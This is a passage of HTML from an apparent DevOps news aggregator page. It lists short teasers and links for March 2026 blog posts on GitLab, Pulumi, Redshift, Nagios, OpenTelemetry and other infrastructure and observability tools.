              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Managing software development often means juggling multiple tools: tracking issues in Jira, writing code in your IDE, and collaborating through GitLab. Context switching between these platforms disrup</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-measuring-developer-productivity-prove-impact" class="group relative scroll-mt-24">
        <a href="#h3-measuring-developer-productivity-prove-impact" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Measuring Developer Productivity: Prove Impact
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-measuring-developer-productivity-prove-impact"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Elite teams use measuring developer productivity frameworks like DORA and SPACE to prove impact, not guess. Learn how Harness SEI connects engineering execution to outcomes. | Blog</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/measuring-developer-productivity-prove-impact"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-gitlab-built-a-security-control-framework-from-scratch" class="group relative scroll-mt-24">
        <a href="#h3-how-gitlab-built-a-security-control-framework-from-scratch" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How GitLab built a security control framework from scratch
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-gitlab-built-a-security-control-framework-from-scratch"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitLab&#39;s Security Compliance team discovered that existing security control frameworks lacked the customization to fit the platform&#39;s multi-product, cloud-native environment. So we built our own. Here</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/how-gitlab-built-a-security-control-framework-from-scratch/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-database-schema-evolution-designing-for-continuous-change" class="group relative scroll-mt-24">
        <a href="#h3-database-schema-evolution-designing-for-continuous-change" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Database Schema Evolution: Designing for Continuous Change
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-database-schema-evolution-designing-for-continuous-change"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how database schema evolution supports modern DevOps, enabling safe changes, CI/CD pipelines, and scalable systems with Database DevOps. | Blog</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/database-schema-evolution-designing-for-continuous-change"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-the-ai-hype-gets-wrong-about-software-engine" class="group relative scroll-mt-24">
        <a href="#h3-what-the-ai-hype-gets-wrong-about-software-engine" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What the AI Hype Gets Wrong About Software Engine
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-the-ai-hype-gets-wrong-about-software-engine"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Matthew Skelton, CEO &amp; CTO of Conflux, is speaking at the DevOps Modernization Summit. He shared his hot takes on AI, DORA, and the key to successful automation. | Blog</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/hot-takes-what-the-ai-hype-gets-wrong-about-software-engineering-excellence"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-we-rebuilt-the-search-architecture-for-high-availability-in-github-enterprise-server" class="group relative scroll-mt-24">
        <a href="#h3-how-we-rebuilt-the-search-architecture-for-high-availability-in-github-enterprise-server" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How we rebuilt the search architecture for high availability in GitHub Enterprise Server
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-we-rebuilt-the-search-architecture-for-high-availability-in-github-enterprise-server"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Here&#39;s how we the search experience better, faster, and more resilient for GHES customers. The post How we rebuilt the search architecture for high availability in GitHub Enterprise Server appeared fi</p>
<p><strong>📅 Mar 3, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/engineering/architecture-optimization/how-we-rebuilt-the-search-architecture-for-high-availability-in-github-enterprise-server/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-amazon-redshift-introduces-reusable-templates-for-copy-operations" class="group relative scroll-mt-24">
        <a href="#h3-amazon-redshift-introduces-reusable-templates-for-copy-operations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Redshift introduces reusable templates for COPY operations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-redshift-introduces-reusable-templates-for-copy-operations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Redshift now supports templates for the COPY command, allowing you to store and reuse frequently used COPY parameters. This new feature enables you to create reusable templates that contain com</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-redshift-reusable-templates-copy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-redshift-serverless-now-maintains-datashare-permissions-during-restore" class="group relative scroll-mt-24">
        <a href="#h3-amazon-redshift-serverless-now-maintains-datashare-permissions-during-restore" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Redshift Serverless now maintains datashare permissions during restore
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-redshift-serverless-now-maintains-datashare-permissions-during-restore"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Redshift Serverless now preserves datashare permissions when you restore a snapshot to the same namespace, simplifying data sharing workflows and reducing administrative overhead. Previously, r</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-redshift-serverless-maintains-datashare-permissions-on-restore/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-now-in-public-beta-store-terraform-state-in-pulumi-cloud" class="group relative scroll-mt-24">
        <a href="#h3-now-in-public-beta-store-terraform-state-in-pulumi-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Now in Public Beta: Store Terraform State in Pulumi Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-now-in-public-beta-store-terraform-state-in-pulumi-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Platform engineering teams managing infrastructure across Terraform and Pulumi now have a way to unify state management without rewriting a single line of HCL. Starting today, Pulumi Cloud can serve a</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/terraform-state-backend-pulumi-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-now-ga-up-to-20x-faster-pulumi-operations-for-everyone" class="group relative scroll-mt-24">
        <a href="#h3-now-ga-up-to-20x-faster-pulumi-operations-for-everyone" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Now GA: Up to 20x Faster Pulumi Operations for Everyone
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-now-ga-up-to-20x-faster-pulumi-operations-for-everyone"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In January, we introduced a major performance enhancement for Pulumi Cloud through a fundamental change to how Pulumi manages state that speeds up operations by up to 20x. After a staged rollout acros</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/journaling-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-token-efficiency-vs-cognitive-efficiency-choosing-iac-for-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-token-efficiency-vs-cognitive-efficiency-choosing-iac-for-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Token Efficiency vs Cognitive Efficiency: Choosing IaC for AI Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-token-efficiency-vs-cognitive-efficiency-choosing-iac-for-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When an AI agent writes infrastructure code, two things matter: how compact the output is (token efficiency) and how well the model actually reasons about what it’s writing (cognitive efficiency). HCL</p>
<p><strong>📅 Mar 3, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/token-efficiency-vs-cognitive-efficiency-choosing-iac-for-ai-agents/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-how-we-got-here-alert-fatigue-to-decision-fatigue" class="group relative scroll-mt-24">
        <a href="#h3-how-we-got-here-alert-fatigue-to-decision-fatigue" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How We Got Here: Alert Fatigue to Decision Fatigue
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-we-got-here-alert-fatigue-to-decision-fatigue"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI and observability reduced alert fatigue, but decision fatigue remains. Decision architecture helps DevOps teams scale operational judgment.</p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/how-we-got-here-alert-fatigue-to-decision-fatigue/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-a24-limited-and-nagios-optimizing-londons-public-transport-operations" class="group relative scroll-mt-24">
        <a href="#h3-a24-limited-and-nagios-optimizing-londons-public-transport-operations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 A24 Limited and Nagios: Optimizing London’s Public Transport Operations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-a24-limited-and-nagios-optimizing-londons-public-transport-operations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A24’s unique technical capabilities in designing, implementing and professional services allow them to deliver solutions and services for and around Nagios. A24&#39;s depth of Nagios product knowledge spa</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Nagios Blog</strong></p>
<p><a href="https://www.nagios.com/casestudies/a24-limited/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tetras-client-gains-real-time-visibility-across-three-continents-with-nagios" class="group relative scroll-mt-24">
        <a href="#h3-tetras-client-gains-real-time-visibility-across-three-continents-with-nagios" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Tetra’s Client Gains Real-Time Visibility Across Three Continents with Nagios
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tetras-client-gains-real-time-visibility-across-three-continents-with-nagios"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Headquartered in New Delhi, Tetra is a leading Linux and Open Source consulting, outsourcing and solutions provider. Tetra lives to the mission of being a one stop source for all Open Source needs.</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Nagios Blog</strong></p>
<p><a href="https://www.nagios.com/casestudies/tetra-information-services/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-reduce-downtime-with-proactive-maintenance-planning-in-nagios-xi" class="group relative scroll-mt-24">
        <a href="#h3-how-to-reduce-downtime-with-proactive-maintenance-planning-in-nagios-xi" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Reduce Downtime with Proactive Maintenance Planning in Nagios XI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-reduce-downtime-with-proactive-maintenance-planning-in-nagios-xi"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This guide shows how to use scheduled and recurring downtime in Nagios XI to reduce downtime impact, minimize alert fatigue, and keep your team focused on what matters.</p>
<p><strong>📅 Mar 6, 2026</strong> • <strong>📰 Nagios Blog</strong></p>
<p><a href="https://www.nagios.com/article/how-to-reduce-downtime-with-maintenance-planning/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-declarative-configuration-is-stable" class="group relative scroll-mt-24">
        <a href="#h3-declarative-configuration-is-stable" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Declarative configuration is stable!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-declarative-configuration-is-stable"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What happened? Key portions of the declarative configuration specification have been marked stable, including The JSON schema for the data model, as defined in opentelemetry-configuration which releas</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/stable-declarative-config/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-relic-control-centralized-control-for-observability-at-scale" class="group relative scroll-mt-24">
        <a href="#h3-new-relic-control-centralized-control-for-observability-at-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Relic Control: Centralized Control for Observability at Scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-relic-control-centralized-control-for-observability-at-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New Relic Control helps teams centrally manage agents, enforce observability standards, and optimize telemetry costs at scale.</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/new-relic-control-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-routing-opentelemetry-logs-to-sentry-using-otlp" class="group relative scroll-mt-24">
        <a href="#h3-routing-opentelemetry-logs-to-sentry-using-otlp" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Routing OpenTelemetry logs to Sentry using OTLP
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-routing-opentelemetry-logs-to-sentry-using-otlp"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you&#39;ve already instrumented your app with OpenTelemetry, you don&#39;t have to rip it out to use Sentry. Two environment variables and your logs start flowing in...</p>
<p><strong>📅 Mar 5, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/structured-logging-opentelemetry/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-dive-into-the-grafanacon-2026-agenda-technical-talks-hands-on-learning-and-community-connections" class="group relative scroll-mt-24">
        <a href="#h3-dive-into-the-grafanacon-2026-agenda-technical-talks-hands-on-learning-and-community-connections" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Dive into the GrafanaCON 2026 agenda: technical talks, hands-on learning, and community connections
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dive-into-the-grafanacon-2026-agenda-technical-talks-hands-on-learning-and-community-connections"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The GrafanaCON 2026 agenda is live, packed with major announcements, technical deep dives, and real-world success stories from the OSS community, spanning everything from LEGOs to livestock. Join us i</p>
<p><strong>📅 Mar 4, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/grafanacon-2026-agenda/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-technology-partnerships-as-force-multipliers" class="group relative scroll-mt-24">
        <a href="#h3-technology-partnerships-as-force-multipliers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Technology Partnerships as Force Multipliers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-technology-partnerships-as-force-multipliers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn more about New Relic’s Tech Partner Blog Series which highlights partnership integrations and workflows as team navigate a new era of automation.</p>
